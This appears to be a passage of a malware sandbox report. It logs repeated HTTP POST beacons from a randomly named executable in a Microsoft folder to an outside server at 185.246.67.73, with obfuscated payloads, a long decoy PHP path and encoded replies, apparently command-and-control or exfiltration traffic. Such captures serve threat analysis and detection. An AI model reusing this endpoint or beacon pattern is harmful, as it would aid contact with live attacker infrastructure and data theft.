Dec 8, 2024 15:28:33.200897932 CET	2576	OUT	Data Raw: 50 5f 43 56 5b 44 55 51 54 5e 50 59 5b 58 59 5b 59 54 59 59 57 53 51 58 59 58 5a 5e 51 5b 55 5c 5d 5d 56 54 59 5c 52 5d 5c 5d 59 56 50 5e 5f 5a 50 5c 5b 58 58 5e 50 59 56 5a 5e 5b 58 59 5a 43 5a 52 41 46 59 5c 55 54 46 5f 5c 59 58 5a 5d 5f 5b 5c Data Ascii: P_CV[DUQT^PY[XY[YTYYWSQXYXZ^Q[U\]]VTY\R]\]YVP^_ZP\[XX^PYVZ^[XYZCZRAFY\UTF_\YXZ]_[\WSSDQZ^PUW[VSPYT\VZV]V[V\SYUX\]D]PZ^ZSS_^\ST[Y^WY[P]^ZCR]TY]ZWP]RY]XPYYYB_T_PP]P^[]Z^Q\^QU^UZ_]\XQ\P^Y.3=%Z#0)Z:B6]#8:Y,(V$=;&)12\ /8 ]!![
Dec 8, 2024 15:28:34.203406096 CET	25	IN	HTTP/1.1 100 Continue
Dec 8, 2024 15:28:34.442789078 CET	151	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:28:33 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 34 5b 40 58 Data Ascii: 4[@X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.4	49883	185.246.67.73	80	8028	C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2024 15:28:34.674662113 CET	562	OUT	POST /Uploads/server9/universalUploads/Trafficcentraldatalife/phplow3/trackMultiupdatePacket/Javascript3lowpython/db/ProtonBigloadApiline/5flowertrackJs/VoiddbProtect/1Temptraffic/TrackDatalife0/auth/JsToProton/uploads6centralLinux/Providerto_packetLowServerbaseDownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 185.246.67.73 Content-Length: 2584 Expect: 100-continue Connection: Keep-Alive
Dec 8, 2024 15:28:35.028986931 CET	2584	OUT	Data Raw: 50 58 46 57 5b 43 55 50 54 5e 50 59 5b 5d 59 52 59 58 59 5d 57 55 51 5c 59 58 5a 5e 51 5b 55 5c 5d 5d 56 54 59 5c 52 5d 5c 5d 59 56 50 5e 5f 5a 50 5c 5b 58 58 5e 50 59 56 5a 5e 5b 58 59 5a 43 5a 52 41 46 59 5c 55 54 46 5f 5c 59 58 5a 5d 5f 5b 5c Data Ascii: PXFW[CUPT^PY[]YRYXY]WUQ\YXZ^Q[U\]]VTY\R]\]YVP^_ZP\[XX^PYVZ^[XYZCZRAFY\UTF_\YXZ]_[\WSSDQZ^PUW[VSPYT\VZV]V[V\SYUX\]D]PZ^ZSS_^\ST[Y^WY[P]^ZCR]TY]ZWP]RY]XPYYYB_T_PP]P^[]Z^Q\^QU^UZ_]\XQ\P^Y.^'Y%*)!29$:4=8^<S$-8Y&V6_%;"X#<, ]!![ 4
Dec 8, 2024 15:28:36.024429083 CET	25	IN	HTTP/1.1 100 Continue
Dec 8, 2024 15:28:36.256392956 CET	207	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:28:35 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 34 5b 40 58 Data Ascii: 4[@X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.4	49889	185.246.67.73	80	8028	C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2024 15:28:36.496345043 CET	562	OUT	POST /Uploads/server9/universalUploads/Trafficcentraldatalife/phplow3/trackMultiupdatePacket/Javascript3lowpython/db/ProtonBigloadApiline/5flowertrackJs/VoiddbProtect/1Temptraffic/TrackDatalife0/auth/JsToProton/uploads6centralLinux/Providerto_packetLowServerbaseDownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 185.246.67.73 Content-Length: 2584 Expect: 100-continue Connection: Keep-Alive
Dec 8, 2024 15:28:36.841520071 CET	2584	OUT	Data Raw: 55 59 46 50 5e 45 50 54 54 5e 50 59 5b 51 59 5d 59 5d 59 56 57 5c 51 58 59 58 5a 5e 51 5b 55 5c 5d 5d 56 54 59 5c 52 5d 5c 5d 59 56 50 5e 5f 5a 50 5c 5b 58 58 5e 50 59 56 5a 5e 5b 58 59 5a 43 5a 52 41 46 59 5c 55 54 46 5f 5c 59 58 5a 5d 5f 5b 5c Data Ascii: UYFP^EPTT^PY[QY]Y]YVW\QXYXZ^Q[U\]]VTY\R]\]YVP^_ZP\[XX^PYVZ^[XYZCZRAFY\UTF_\YXZ]_[\WSSDQZ^PUW[VSPYT\VZV]V[V\SYUX\]D]PZ^ZSS_^\ST[Y^WY[P]^ZCR]TY]ZWP]RY]XPYYYB_T_PP]P^[]Z^Q\^QU^UZ_]\XQ\P^Y.'=5X$)&!>.! 58,0.+' Y1;>X",.; ]!![

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.4	49895	185.246.67.73	80	8028	C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2024 15:28:37.717827082 CET	562	OUT	POST /Uploads/server9/universalUploads/Trafficcentraldatalife/phplow3/trackMultiupdatePacket/Javascript3lowpython/db/ProtonBigloadApiline/5flowertrackJs/VoiddbProtect/1Temptraffic/TrackDatalife0/auth/JsToProton/uploads6centralLinux/Providerto_packetLowServerbaseDownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 185.246.67.73 Content-Length: 1904 Expect: 100-continue Connection: Keep-Alive
Dec 8, 2024 15:28:38.075958014 CET	1904	OUT	Data Raw: 50 5a 43 5d 5e 47 55 51 54 5e 50 59 5b 5d 59 53 59 58 59 57 57 5d 51 5d 59 58 5a 5e 51 5b 55 5c 5d 5d 56 54 59 5c 52 5d 5c 5d 59 56 50 5e 5f 5a 50 5c 5b 58 58 5e 50 59 56 5a 5e 5b 58 59 5a 43 5a 52 41 46 59 5c 55 54 46 5f 5c 59 58 5a 5d 5f 5b 5c Data Ascii: PZC]^GUQT^PY[]YSYXYWW]Q]YXZ^Q[U\]]VTY\R]\]YVP^_ZP\[XX^PYVZ^[XYZCZRAFY\UTF_\YXZ]_[\WSSDQZ^PUW[VSPYT\VZV]V[V\SYUX\]D]PZ^ZSS_^\ST[Y^WY[P]^ZCR]TY]ZWP]RY]XPYYYB_T_PP]P^[]Z^Q\^QU^UZ_]\XQ\P^Y._'-1)>5*.76\#(>X.8$T'=?&)'+144; ]!![ 4
Dec 8, 2024 15:28:39.035151005 CET	25	IN	HTTP/1.1 100 Continue
Dec 8, 2024 15:28:39.268614054 CET	380	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:28:38 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 152 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 06 13 3a 09 25 43 37 55 3d 2a 2a 5c 25 3c 2c 07 30 06 23 5b 29 1e 09 5a 24 29 3c 19 2f 3a 24 0d 23 12 01 07 33 3d 20 5d 35 3c 20 0a 2d 12 20 5a 06 10 21 5e 24 2f 34 00 2b 05 2d 5c 26 28 3d 45 35 19 2b 07 24 03 05 55 3f 2a 2d 03 34 06 37 57 32 04 29 56 3a 25 31 04 32 20 2b 50 27 36 2c 55 0f 1f 25 0b 30 0b 23 53 23 0e 25 0f 20 33 3b 5c 32 1b 2a 1a 35 01 3c 18 28 3e 24 5e 3f 0b 27 03 20 0c 27 5e 2c 28 3a 06 2a 31 37 57 30 3c 20 53 2a 02 2e 54 0d 33 56 52 Data Ascii: :%C7U=*\%<,0#[)Z$)</:$#3= ]5< - Z!^$/4+-\&(=E5+$U?-47W2)V:%12 +P'6,U%0#S#% 3;\25<(>$^?' '^,(:17W0< S*.T3VR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.4	49896	185.246.67.73	80	8028	C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2024 15:28:37.837368011 CET	562	OUT	POST /Uploads/server9/universalUploads/Trafficcentraldatalife/phplow3/trackMultiupdatePacket/Javascript3lowpython/db/ProtonBigloadApiline/5flowertrackJs/VoiddbProtect/1Temptraffic/TrackDatalife0/auth/JsToProton/uploads6centralLinux/Providerto_packetLowServerbaseDownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 185.246.67.73 Content-Length: 2584 Expect: 100-continue Connection: Keep-Alive
Dec 8, 2024 15:28:38.185285091 CET	2584	OUT	Data Raw: 50 53 43 55 5b 48 50 54 54 5e 50 59 5b 5e 59 5b 59 54 59 5c 57 51 51 5e 59 58 5a 5e 51 5b 55 5c 5d 5d 56 54 59 5c 52 5d 5c 5d 59 56 50 5e 5f 5a 50 5c 5b 58 58 5e 50 59 56 5a 5e 5b 58 59 5a 43 5a 52 41 46 59 5c 55 54 46 5f 5c 59 58 5a 5d 5f 5b 5c Data Ascii: PSCU[HPTT^PY[^Y[YTY\WQQ^YXZ^Q[U\]]VTY\R]\]YVP^_ZP\[XX^PYVZ^[XYZCZRAFY\UTF_\YXZ]_[\WSSDQZ^PUW[VSPYT\VZV]V[V\SYUX\]D]PZ^ZSS_^\ST[Y^WY[P]^ZCR]TY]ZWP]RY]XPYYYB_T_PP]P^[]Z^Q\^QU^UZ_]\XQ\P^Y.[$=6$)-!U"94%7;%,30.('0&8:]"<,; ]!![ 8
Dec 8, 2024 15:28:39.168108940 CET	25	IN	HTTP/1.1 100 Continue
Dec 8, 2024 15:28:39.400542021 CET	207	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:28:38 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 34 5b 40 58 Data Ascii: 4[@X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.4	49902	185.246.67.73	80	8028	C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2024 15:28:39.642569065 CET	538	OUT	POST /Uploads/server9/universalUploads/Trafficcentraldatalife/phplow3/trackMultiupdatePacket/Javascript3lowpython/db/ProtonBigloadApiline/5flowertrackJs/VoiddbProtect/1Temptraffic/TrackDatalife0/auth/JsToProton/uploads6centralLinux/Providerto_packetLowServerbaseDownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 185.246.67.73 Content-Length: 2584 Expect: 100-continue
Dec 8, 2024 15:28:39.997936964 CET	2584	OUT	Data Raw: 55 59 46 51 5e 42 55 52 54 5e 50 59 5b 51 59 5d 59 5e 59 5e 57 53 51 5a 59 58 5a 5e 51 5b 55 5c 5d 5d 56 54 59 5c 52 5d 5c 5d 59 56 50 5e 5f 5a 50 5c 5b 58 58 5e 50 59 56 5a 5e 5b 58 59 5a 43 5a 52 41 46 59 5c 55 54 46 5f 5c 59 58 5a 5d 5f 5b 5c Data Ascii: UYFQ^BURT^PY[QY]Y^Y^WSQZYXZ^Q[U\]]VTY\R]\]YVP^_ZP\[XX^PYVZ^[XYZCZRAFY\UTF_\YXZ]_[\WSSDQZ^PUW[VSPYT\VZV]V[V\SYUX\]D]PZ^ZSS_^\ST[Y^WY[P]^ZCR]TY]ZWP]RY]XPYYYB_T_PP]P^[]Z^Q\^QU^UZ_]\XQ\P^Y.$5[%9[6 >:"\"8).;#'>'&V.]1:_"/7_;; ]!![
Dec 8, 2024 15:28:40.965383053 CET	25	IN	HTTP/1.1 100 Continue
Dec 8, 2024 15:28:41.200793028 CET	151	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:28:40 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 34 5b 40 58 Data Ascii: 4[@X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.4	49908	185.246.67.73	80	8028	C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2024 15:28:41.444286108 CET	562	OUT	POST /Uploads/server9/universalUploads/Trafficcentraldatalife/phplow3/trackMultiupdatePacket/Javascript3lowpython/db/ProtonBigloadApiline/5flowertrackJs/VoiddbProtect/1Temptraffic/TrackDatalife0/auth/JsToProton/uploads6centralLinux/Providerto_packetLowServerbaseDownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 185.246.67.73 Content-Length: 2584 Expect: 100-continue Connection: Keep-Alive
Dec 8, 2024 15:28:41.794598103 CET	2584	OUT	Data Raw: 50 5e 43 56 5b 46 55 56 54 5e 50 59 5b 5c 59 5a 59 54 59 58 57 54 51 5c 59 58 5a 5e 51 5b 55 5c 5d 5d 56 54 59 5c 52 5d 5c 5d 59 56 50 5e 5f 5a 50 5c 5b 58 58 5e 50 59 56 5a 5e 5b 58 59 5a 43 5a 52 41 46 59 5c 55 54 46 5f 5c 59 58 5a 5d 5f 5b 5c Data Ascii: P^CV[FUVT^PY[\YZYTYXWTQ\YXZ^Q[U\]]VTY\R]\]YVP^_ZP\[XX^PYVZ^[XYZCZRAFY\UTF_\YXZ]_[\WSSDQZ^PUW[VSPYT\VZV]V[V\SYUX\]D]PZ^ZSS_^\ST[Y^WY[P]^ZCR]TY]ZWP]RY]XPYYYB_T_PP]P^[]Z^Q\^QU^UZ_]\XQ\P^Y-3[=[&_)50*-$:] 8X/ 0>20"X&(>\"<7;+ ]!![ 0
Dec 8, 2024 15:28:42.768253088 CET	25	IN	HTTP/1.1 100 Continue
Dec 8, 2024 15:28:43.000971079 CET	207	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:28:42 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 34 5b 40 58 Data Ascii: 4[@X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.4	49909	185.246.67.73	80	8028	C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2024 15:28:43.237008095 CET	562	OUT	POST /Uploads/server9/universalUploads/Trafficcentraldatalife/phplow3/trackMultiupdatePacket/Javascript3lowpython/db/ProtonBigloadApiline/5flowertrackJs/VoiddbProtect/1Temptraffic/TrackDatalife0/auth/JsToProton/uploads6centralLinux/Providerto_packetLowServerbaseDownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 185.246.67.73 Content-Length: 2580 Expect: 100-continue Connection: Keep-Alive
Dec 8, 2024 15:28:43.591629028 CET	2580	OUT	Data Raw: 50 53 46 51 5e 45 55 52 54 5e 50 59 5b 58 59 5e 59 5e 59 56 57 52 51 5d 59 58 5a 5e 51 5b 55 5c 5d 5d 56 54 59 5c 52 5d 5c 5d 59 56 50 5e 5f 5a 50 5c 5b 58 58 5e 50 59 56 5a 5e 5b 58 59 5a 43 5a 52 41 46 59 5c 55 54 46 5f 5c 59 58 5a 5d 5f 5b 5c Data Ascii: PSFQ^EURT^PY[XY^Y^YVWRQ]YXZ^Q[U\]]VTY\R]\]YVP^_ZP\[XX^PYVZ^[XYZCZRAFY\UTF_\YXZ]_[\WSSDQZ^PUW[VSPYT\VZV]V[V\SYUX\]D]PZ^ZSS_^\ST[Y^WY[P]^ZCR]TY]ZWP]RY]XPYYYB_T_PP]P^[]Z^Q\^QU^UZ_]\XQ\P^Y-'..$).!3",'& :^,<%.8%5%1 <'\/ ]!![ 4

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.4	49915	185.246.67.73	80	8028	C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2024 15:28:44.401792049 CET	562	OUT	POST /Uploads/server9/universalUploads/Trafficcentraldatalife/phplow3/trackMultiupdatePacket/Javascript3lowpython/db/ProtonBigloadApiline/5flowertrackJs/VoiddbProtect/1Temptraffic/TrackDatalife0/auth/JsToProton/uploads6centralLinux/Providerto_packetLowServerbaseDownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 185.246.67.73 Content-Length: 1904 Expect: 100-continue Connection: Keep-Alive
Dec 8, 2024 15:28:44.747765064 CET	1904	OUT	Data Raw: 55 59 46 57 5b 46 55 54 54 5e 50 59 5b 5a 59 58 59 54 59 59 57 51 51 5a 59 58 5a 5e 51 5b 55 5c 5d 5d 56 54 59 5c 52 5d 5c 5d 59 56 50 5e 5f 5a 50 5c 5b 58 58 5e 50 59 56 5a 5e 5b 58 59 5a 43 5a 52 41 46 59 5c 55 54 46 5f 5c 59 58 5a 5d 5f 5b 5c Data Ascii: UYFW[FUTT^PY[ZYXYTYYWQQZYXZ^Q[U\]]VTY\R]\]YVP^_ZP\[XX^PYVZ^[XYZCZRAFY\UTF_\YXZ]_[\WSSDQZ^PUW[VSPYT\VZV]V[V\SYUX\]D]PZ^ZSS_^\ST[Y^WY[P]^ZCR]TY]ZWP]RY]XPYYYB_T_PP]P^[]Z^Q\^QU^UZ_]\XQ\P^Y-35^%%" )[-454>^/8$U'>8X%*^&: 7^, ]!![ (
Dec 8, 2024 15:28:45.723938942 CET	25	IN	HTTP/1.1 100 Continue
Dec 8, 2024 15:28:45.957278013 CET	380	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:28:45 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 152 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 06 13 3a 09 25 43 33 53 3e 5c 2e 5d 27 3c 3b 58 27 3b 23 16 29 30 3b 5f 24 17 30 5e 2c 04 30 0f 21 3f 28 5f 33 04 30 59 20 2c 2c 0a 2e 02 20 5a 06 10 22 07 32 06 2c 02 3c 38 3d 14 31 01 3a 18 21 24 3b 42 27 04 2b 18 3f 2a 04 15 37 11 2c 0a 27 2d 2e 0e 2d 1c 3d 05 32 33 2b 57 25 0c 2c 55 0f 1f 25 09 27 0b 27 1e 22 37 3a 1c 22 30 34 05 25 0b 00 56 22 2f 30 51 2b 2d 2b 06 28 21 28 58 22 32 3c 06 3a 3b 25 5e 2a 22 2f 50 25 3c 20 53 2a 02 2e 54 0d 33 56 52 Data Ascii: :%C3S>\.]'<;X';#)0;_$0^,0!?(_30Y ,,. Z"2,<8=1:!$;B'+?7,'-.-=23+W%,U%''"7:"04%V"/0Q+-+(!(X"2<:;%^"/P%< S*.T3VR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.4	49916	185.246.67.73	80	8028	C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2024 15:28:44.525981903 CET	562	OUT	POST /Uploads/server9/universalUploads/Trafficcentraldatalife/phplow3/trackMultiupdatePacket/Javascript3lowpython/db/ProtonBigloadApiline/5flowertrackJs/VoiddbProtect/1Temptraffic/TrackDatalife0/auth/JsToProton/uploads6centralLinux/Providerto_packetLowServerbaseDownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 185.246.67.73 Content-Length: 2584 Expect: 100-continue Connection: Keep-Alive
Dec 8, 2024 15:28:44.872741938 CET	2584	OUT	Data Raw: 50 5c 46 56 5e 47 55 50 54 5e 50 59 5b 5f 59 58 59 5d 59 5b 57 51 51 5a 59 58 5a 5e 51 5b 55 5c 5d 5d 56 54 59 5c 52 5d 5c 5d 59 56 50 5e 5f 5a 50 5c 5b 58 58 5e 50 59 56 5a 5e 5b 58 59 5a 43 5a 52 41 46 59 5c 55 54 46 5f 5c 59 58 5a 5d 5f 5b 5c Data Ascii: P\FV^GUPT^PY[_YXY]Y[WQQZYXZ^Q[U\]]VTY\R]\]YVP^_ZP\[XX^PYVZ^[XYZCZRAFY\UTF_\YXZ]_[\WSSDQZ^PUW[VSPYT\VZV]V[V\SYUX\]D]PZ^ZSS_^\ST[Y^WY[P]^ZCR]TY]ZWP]RY]XPYYYB_T_PP]P^[]Z^Q\^QU^UZ_]\XQ\P^Y-3>6&!)Z9'%7>[,8U$>1!&;"Y7,;^, ]!![
Dec 8, 2024 15:28:45.853246927 CET	25	IN	HTTP/1.1 100 Continue
Dec 8, 2024 15:28:46.088808060 CET	207	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:28:45 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 34 5b 40 58 Data Ascii: 4[@X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.4	49922	185.246.67.73	80	8028	C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2024 15:28:46.331614017 CET	538	OUT	POST /Uploads/server9/universalUploads/Trafficcentraldatalife/phplow3/trackMultiupdatePacket/Javascript3lowpython/db/ProtonBigloadApiline/5flowertrackJs/VoiddbProtect/1Temptraffic/TrackDatalife0/auth/JsToProton/uploads6centralLinux/Providerto_packetLowServerbaseDownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 185.246.67.73 Content-Length: 2584 Expect: 100-continue
Dec 8, 2024 15:28:46.685286045 CET	2584	OUT	Data Raw: 50 5b 43 5c 5e 43 55 5f 54 5e 50 59 5b 5b 59 52 59 54 59 5e 57 5d 51 5e 59 58 5a 5e 51 5b 55 5c 5d 5d 56 54 59 5c 52 5d 5c 5d 59 56 50 5e 5f 5a 50 5c 5b 58 58 5e 50 59 56 5a 5e 5b 58 59 5a 43 5a 52 41 46 59 5c 55 54 46 5f 5c 59 58 5a 5d 5f 5b 5c Data Ascii: P[C\^CU_T^PY[[YRYTY^W]Q^YXZ^Q[U\]]VTY\R]\]YVP^_ZP\[XX^PYVZ^[XYZCZRAFY\UTF_\YXZ]_[\WSSDQZ^PUW[VSPYT\VZV]V[V\SYUX\]D]PZ^ZSS_^\ST[Y^WY[P]^ZCR]TY]ZWP]RY]XPYYYB_T_PP]P^[]Z^Q\^QU^UZ_]\XQ\P^Y.'!Z1:5]6994:_78>Y,$'2.]&2\7/?Z/ ]!![ ,
Dec 8, 2024 15:28:47.665875912 CET	25	IN	HTTP/1.1 100 Continue
Dec 8, 2024 15:28:47.896572113 CET	151	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:28:47 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 34 5b 40 58 Data Ascii: 4[@X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.4	49927	185.246.67.73	80	8028	C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2024 15:28:48.130521059 CET	562	OUT	POST /Uploads/server9/universalUploads/Trafficcentraldatalife/phplow3/trackMultiupdatePacket/Javascript3lowpython/db/ProtonBigloadApiline/5flowertrackJs/VoiddbProtect/1Temptraffic/TrackDatalife0/auth/JsToProton/uploads6centralLinux/Providerto_packetLowServerbaseDownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 185.246.67.73 Content-Length: 2580 Expect: 100-continue Connection: Keep-Alive
Dec 8, 2024 15:28:48.482836962 CET	2580	OUT	Data Raw: 55 5e 43 57 5e 40 55 54 54 5e 50 59 5b 58 59 53 59 5a 59 5b 57 51 51 5d 59 58 5a 5e 51 5b 55 5c 5d 5d 56 54 59 5c 52 5d 5c 5d 59 56 50 5e 5f 5a 50 5c 5b 58 58 5e 50 59 56 5a 5e 5b 58 59 5a 43 5a 52 41 46 59 5c 55 54 46 5f 5c 59 58 5a 5d 5f 5b 5c Data Ascii: U^CW^@UTT^PY[XYSYZY[WQQ]YXZ^Q[U\]]VTY\R]\]YVP^_ZP\[XX^PYVZ^[XYZCZRAFY\UTF_\YXZ]_[\WSSDQZ^PUW[VSPYT\VZV]V[V\SYUX\]D]PZ^ZSS_^\ST[Y^WY[P]^ZCR]TY]ZWP]RY]XPYYYB_T_PP]P^[]Z^Q\^QU^UZ_]\XQ\P^Y.Y$.![%9]"#![.-4/^/'>%3-1)#$/+ ]!![
Dec 8, 2024 15:28:49.560025930 CET	25	IN	HTTP/1.1 100 Continue
Dec 8, 2024 15:28:49.690546989 CET	207	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:28:49 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 34 5b 40 58 Data Ascii: 4[@X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.4	49930	185.246.67.73	80	8028	C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2024 15:28:49.925580025 CET	562	OUT	POST /Uploads/server9/universalUploads/Trafficcentraldatalife/phplow3/trackMultiupdatePacket/Javascript3lowpython/db/ProtonBigloadApiline/5flowertrackJs/VoiddbProtect/1Temptraffic/TrackDatalife0/auth/JsToProton/uploads6centralLinux/Providerto_packetLowServerbaseDownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 185.246.67.73 Content-Length: 2584 Expect: 100-continue Connection: Keep-Alive
Dec 8, 2024 15:28:50.278917074 CET	2584	OUT	Data Raw: 55 58 43 56 5b 47 55 5e 54 5e 50 59 5b 5e 59 53 59 58 59 56 57 51 51 5a 59 58 5a 5e 51 5b 55 5c 5d 5d 56 54 59 5c 52 5d 5c 5d 59 56 50 5e 5f 5a 50 5c 5b 58 58 5e 50 59 56 5a 5e 5b 58 59 5a 43 5a 52 41 46 59 5c 55 54 46 5f 5c 59 58 5a 5d 5f 5b 5c Data Ascii: UXCV[GU^T^PY[^YSYXYVWQQZYXZ^Q[U\]]VTY\R]\]YVP^_ZP\[XX^PYVZ^[XYZCZRAFY\UTF_\YXZ]_[\WSSDQZ^PUW[VSPYT\VZV]V[V\SYUX\]D]PZ^ZSS_^\ST[Y^WY[P]^ZCR]TY]ZWP]RY]XPYYYB_T_PP]P^[]Z^Q\^QU^UZ_]\XQ\P^Y.Y0=&$9&! &:$6X78.X/$#26X%+2",(/; ]!![ 8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.4	49934	185.246.67.73	80	8028	C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe

Timestamp	Bytes transferred	Direction	Data
